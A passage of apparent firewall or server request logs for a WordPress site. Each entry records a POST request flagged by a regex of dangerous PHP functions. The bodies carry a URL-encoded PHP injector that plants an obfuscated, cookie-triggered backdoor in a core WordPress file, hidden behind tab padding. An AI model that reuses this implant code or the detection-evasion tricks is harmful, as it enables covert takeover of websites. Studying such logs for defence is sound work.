B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:43:59","203.190.11.3","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> De:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4378\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nDe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:44:07","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ij:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4378\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nIj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:44:20","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:4378\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\n\nHg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%